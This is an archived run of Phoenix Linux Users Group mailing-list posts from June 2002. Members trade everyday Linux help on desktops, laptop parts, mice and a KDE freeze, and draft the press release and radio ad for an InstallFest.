<3CFA6954.6010606@deru.com> William Lindley wrote: > A. Start with a 1957 Chevy Bel Air. Oh... Oh ... Can we do a Chevy Nomad ??? -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 19:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 12:32:08 -0700 Subject: Bash Scripts In-Reply-To: <1023035530.26074.2.camel@tomahawk.lww.com> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> Message-ID: <200206021232.08810.vernon@impulsedata.net> Thanks all the ./ did the trick. And I now know the history which is good. Clay Stapleton On Sunday 02 June 2002 09:32, steve wrote: > you need to preface your command with ./ (i.e. ./hello) the reason > for this is that your current directory is not in your path for security > reasons. > > Steve Phariss > > > I have tried this with a c program with the same results, > > "command not found". > > > > Any ideas out there on what is causing this? > > > > Clay Stapleton > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:18:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gerald Winkler) Date: Sun, 2 Jun 2002 14:18:59 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> Message-ID: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:59:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 14:59:31 -0700 Subject: OT: Laptop Parts Message-ID: <200206022202.SAA22895@hostinworld6.com> After being on vacation for a week, I have finally returned home to find myself reading >700 e-mails. (For those interested, it was divided about 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time to play the the laptop I bought on vacation (yes, work is never far) and I'm now working on scrounging parts for it. It cost about $90 and the PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means it's been used. This is a Dell Latitude XP 4100CX laptop running a 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is first, can anyone tell me of a good place for a replacement battery cheap. Its has been toasted (memory thing) and it really isn't all that useful w/o a battery. I've got a couple bids on eBay but I was hoping for something a little more immediate. Second, I'd like a larger HD for Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the distro disks to the HD so I can install packages on the road. Can anyone tell me of a good place for cheap, large capacity, 2.5" HDs and possibly their price & size. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 15:01:54 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <00a501c20a81$1b510a30$6501a8c0@drghastly> Nevermind. I figured it out, but thanks anyways! ----- Original Message ----- From: "Gerald Winkler" To: Sent: Sunday, June 02, 2002 2:18 PM Subject: RH 7.X > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:12:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Codie William Masters) Date: 02 Jun 2002 15:12:01 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023055922.14206.1.camel@Quantum> --=-BL5bl8fe0ouY5xy+41/R Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KD= E? Run 'switchdesk' from a terminal window. You might need to run switchdesk-(whatever) for your current setup. -- codie --=-BL5bl8fe0ouY5xy+41/R Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8+pgx+zdnEx4UzMcRAuU4AJoD/4Oa1xdEi78XQnuvkeuZaAZtlwCcDlVD CH1x1+RzdCmTCGybAOu05QE= =jSoR -----END PGP SIGNATURE----- --=-BL5bl8fe0ouY5xy+41/R-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:13:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 15:13:47 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023056028.1293.4.camel@vdsl-130-13-147-187.phnx.uswest.net> MainMenu/Programs/System/Desktop Switching Tool, that'll do the trick --- you have to log out and back in to affect the change. FrankM On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 2 Jun 2002 15:10:26 -0700 (PDT) Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <20020602221026.98157.qmail@web13404.mail.yahoo.com> --- Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default > desktop of Gnome to KDE? > Hi Gerald, From your question I'm just assuming that you already have KDE installed. If that's the case you'll find a dotfile (hidden file) in your home directory called '.xinitrc'. Do 'ls -a' so that it'll show up. Then you want to use your favorite editor and edit that file. Add the line 'startkde' at the first line. Exit Gnome if you are using it and run 'startx' at the console. Then hopefully you should be staring at the KDE desktop. If this doesn't work. Wait for someone else to post a much better explanation on how to get this done :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:12:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 16:12:54 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: The InstallFest Radio Ad RC1 is available for download at: http://plug.netpro.to/radio/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:48:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sun, 2 Jun 2002 16:48:10 -0700 Subject: IRC Linux channel? In-Reply-To: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> <20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: <20020602164810.066fdda2.derek@gnue.org> Not to be taken the wrong way, but again this is why using something like openprojects.net just seems like a better idea. -Derek On Sun, 2 Jun 2002 10:29:12 -0700 technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is > lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with > > Linux for about a year. So I will ask my newbie question and look > > like a fool for the proverbial 5 min. Im not sure how to > > connect to the Pretorian.atx.cx chat thingy with the IRC. I try to > > connect and it always times out. What am I doing wrong? I have tried > > X-Chat IRC Client and Mozilla-IRC. If someone could help me set that > > up I would greatly appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:00:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 17:00:44 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: References: Message-ID: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> I for one would like to install Linux --- on an empty hard drive without any operating system on it and only use source code, no distro. It's easy, for the most part, to install from a CD and get any distro up and running, but I sure would like to start from scratch. I did check out LFS and I must have a Linux partition in order to install. Any pointers where to get some HowTo's or info on this? TIA FrankM On Sun, 2002-06-02 at 09:12, William Lindley wrote: > On Sat, 1 Jun 2002, David Uhlman wrote: > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > Start with an installed copy of the base system on a clean drive and > > build package by package until you get where you want to go > > That's a great way to tear apart a distro like RedHat and see what makes > it tick. You will learn plenty, 'tho not quite the same things you'd > learn with a totally From Scratch approach. Consider these two > approaches: > > A. Start with a 1957 Chevy Bel Air. > Remove the engine. > Replace one part at a time on the engine, making sure > the engine continues to work after each new part. > Reinstall the engine. > Drive away. > > B. Start with a bare engine block and a barrel full of Chevy parts. > Using only an exploded diagram, assemble a working engine. > Find a 1957 Chevy Bel Air frame at the junkyard, and > several "hulks" from which you can pull body parts. > Pull pieces from the hulks and add them to your masterpiece. > Drive away. > > Both approaches have their advantages, depending on what you want to > learn. > > \\/ > http://www.wlindley.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 17:14:17 -0700 (PDT) Subject: your post - strange mouse/keyboard behavoir - I also need help In-Reply-To: <3CF9E638.3000806@uvic.ca> Message-ID: Nope... I still have the problem, but it only seems to affect 2 of my users. I'm planning on swapping out their boxes to see if it's a hardware issue, but in the meantime the best work-around is for them to randomly click their mouse buttons on a blank area of the screen. This unfreezes the GUI, but the problem eventually returns. So far I haven't been able to find any patterns of activity that lead up to the freeze. ~M On Sun, 2 Jun 2002, islandkid wrote: > I read the below post of yours while I was looking for a solution to my problem. I have > the identical problem with my linux system. Did you ever figure out how to fix it? > > ----------------------------------------------------------------- > I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using > it for our employees in our call center (they have very limited software > needs so this will be a good testing ground). I've been testing things > and I keep encountering random problems with the mouse/keyboard within > KDE. Sometimes I can no longer click on anything. The only way to get > out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen > most often when clicking the Logout button on the taskbar, I can't click > anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to > complete the logout process. > > The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB > Video card. > > Here's what I get in .xsession-errors after logging in: > > XIM DEBUG: xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > DCOPServer up and running. > DCOP Cleaning up dead connections. > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > mcop warning: user defined signal handler found for SIG_PIPE, overriding > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QObject::connect: No such slot > KWrited::block_in(const char*,int) > QObject::connect: (sender name: 'unnamed') > QObject::connect: (receiver name: 'unnamed') > > I also have a shell script that I created an icon for our users to click > on. Here's the contents of the script: > > /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & > > After clicking this icon, I get this message in .xsession-errors: > > Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 > > Any guesses as to what's going on? > Thanks, > ~M > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:20:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 20:20:27 -0400 Subject: OT: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <3CFAB64B.9B97A826@georgetoft.com> Something to keep in mind is that some Laptop BIOS' won't let you change hard drives, or they will limit the size. I've had two laptops - one allowed two sizes, and the other was flexible. You might want to research that first. George "Bryce C." wrote: > > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:19:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 17:19:52 -0700 Subject: Optical Mice and Linux References: Message-ID: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Ok. So I have a rather pertinent question. Anyone use one of the Microsoft Optical Mice with thier linux distro? if so, how do you like it. I have a KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I am using two mice, my optical for my Win2K box and my POS intellimouse for my RH box. However I HATE the RH mouse, its jerky and not smooth at all. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:31:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 17:31:09 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> References: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> Message-ID: <0206021731090T.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gentoo On Sunday 02 June 2002 17:00, you wrote: > I for one would like to install Linux --- on an empty hard drive > without any operating system on it and only use source code, no distro. > > It's easy, for the most part, to install from a CD and get any distro > up and running, but I sure would like to start from scratch. > > I did check out LFS and I must have a Linux partition in order to > install. > > Any pointers where to get some HowTo's or info on this? > > TIA > > FrankM > > On Sun, 2002-06-02 at 09:12, William Lindley wrote: > > On Sat, 1 Jun 2002, David Uhlman wrote: > > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > > Start with an installed copy of the base system on a clean drive and > > > build package by package until you get where you want to go > > > > That's a great way to tear apart a distro like RedHat and see what makes > > it tick. You will learn plenty, 'tho not quite the same things you'd > > learn with a totally From Scratch approach. Consider these two > > approaches: > > > > A. Start with a 1957 Chevy Bel Air. > > Remove the engine. > > Replace one part at a time on the engine, making sure > > the engine continues to work after each new part. > > Reinstall the engine. > > Drive away. > > > > B. Start with a bare engine block and a barrel full of Chevy parts. > > Using only an exploded diagram, assemble a working engine. > > Find a 1957 Chevy Bel Air frame at the junkyard, and > > several "hulks" from which you can pull body parts. > > Pull pieces from the hulks and add them to your masterpiece. > > Drive away. > > > > Both approaches have their advantages, depending on what you want to > > learn. > > > > \\/ > > http://www.wlindley.com > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPq4zSsk3ywszI1FEQIZbACeOSBphTL2L2fAL7xdDYYMyJqhAIgAoNC6 CTD83PGfbRbh/0JvgIojMNe0 =Ygc+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:49:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:49:26 -0700 (MST) Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: Am 01. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? I'd say go with this version. Please capitalize Free Software and Open Source whereever they appear. > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of Let's leave out the 'in many cases'. "After the InstallFest, people who brought their computers can go home with GNU/Linux installed on their machines, free of charge." The FAQ on the web site should mention that there aren't any guarantees and we shouldn't explicitly guarantee anything in the press release, but can leave off most of the exception clauses. > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." Maybe make a more active intro of Bill: "PLUG's organizer for the event, computer consultant William Lindley, said, "This is what the Free Software community...." > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, This should be either 'several meetings' or 'on both the East and West sides' because the sentence above indicates that we have several meetings on the East side and several meetings on the West side. We might want to replace Phoenix with 'the Valley'. > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. Please add blurbs about our other sponsors and mention them somewhere in the press release. That's why their in it. Not sure we should have the blurbs for every sponsor, but they should definitely get mentioned in the press release. News agencies can cut what we have, but are unlikely to add what we don't. Also, much of this is still gonna be word of mouth, so let's make sure it's a mouthful :). Hmm, maybe we should get a quote from Thurman about SCC being happy to host the event. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:57:55 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Sounds good. Please add that it's at SCC. In the text version, please capitalize Free Software. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:02:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 18:02:19 -0700 Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Quoting Matt Alexander : > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Loved it!! From the tone I half expect Tux to be there in his monster truck steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:27:46 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: On Sun, 2 Jun 2002, der.hans wrote: > Am 02. Jun, 2002 schwätzte Matt Alexander so: > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Sounds good. Please add that it's at SCC. Will do. > In the text version, please capitalize Free Software. OK, but I don't think the radio listeners will be able to tell. ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:43:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 2 Jun 2002 18:43:15 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <200206021843.17079.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 02 June 2002 17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > am using two mice, my optical for my Win2K box and my POS intellimouse for > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. Since you already have an optical mouse, I will assume you are not talking about performance. In terms of configuration and setup, it uses the exact same protocols as the Intellimouse (assuming you have the newer ones with a wheel) so that no adjustments are necessary. Well, we will have to reconfigure your /dev/mouse to point to the USB mouse, but that is easy. Anyways, they work great. I have used few MS Optical, a Belkin optical, and a few of the Logitech optical without any problems. As the cliche goes, I'm never going back to a ball mouse again! - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE ulAJqonWPoUt+ZOgyhMyAz0= =JUS+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:50:04 -0700 (PDT) Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Message-ID: On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Matt Alexander : > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Loved it!! From the tone I half expect Tux to be there in his monster truck > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! As you wish: http://plug.netpro.to/radio/monster-truck-version.mp3 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:55:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 18:55:15 -0700 Subject: OT: Laptop Parts In-Reply-To: <3CFAB64B.9B97A826@georgetoft.com> References: <200206022202.SAA22895@hostinworld6.com> <3CFAB64B.9B97A826@georgetoft.com> Message-ID: <200206030159.VAA11411@hostinworld6.com> Thanks but I've already tested that out and researched. My friend has a 4Gb, 6Gb and a 20Gb and the laptop suffers from the age old 8Gb limit. Other than that, the BIOS is fine. Thanks. On 02 Jun 2002 20:20:27 -0400, George Toft wrote: > Something to keep in mind is that some Laptop BIOS' won't let you > change hard drives, or they will limit the size. I've had two > laptops - one allowed two sizes, and the other was flexible. > You might want to research that first. > > George > > > "Bryce C." wrote: > > > > After being on vacation for a week, I have finally returned home to find > > myself reading >700 e-mails. (For those interested, it was divided about > > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > > to play the the laptop I bought on vacation (yes, work is never far) and > > I'm now working on scrounging parts for it. It cost about $90 and the > > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > > it's been used. This is a Dell Latitude XP 4100CX laptop running a > > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > > first, can anyone tell me of a good place for a replacement battery > > cheap. Its has been toasted (memory thing) and it really isn't all that > > useful w/o a battery. I've got a couple bids on eBay but I was hoping > > for something a little more immediate. Second, I'd like a larger HD for > > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > > distro disks to the HD so I can install packages on the road. Can > > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > > possibly their price & size. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - 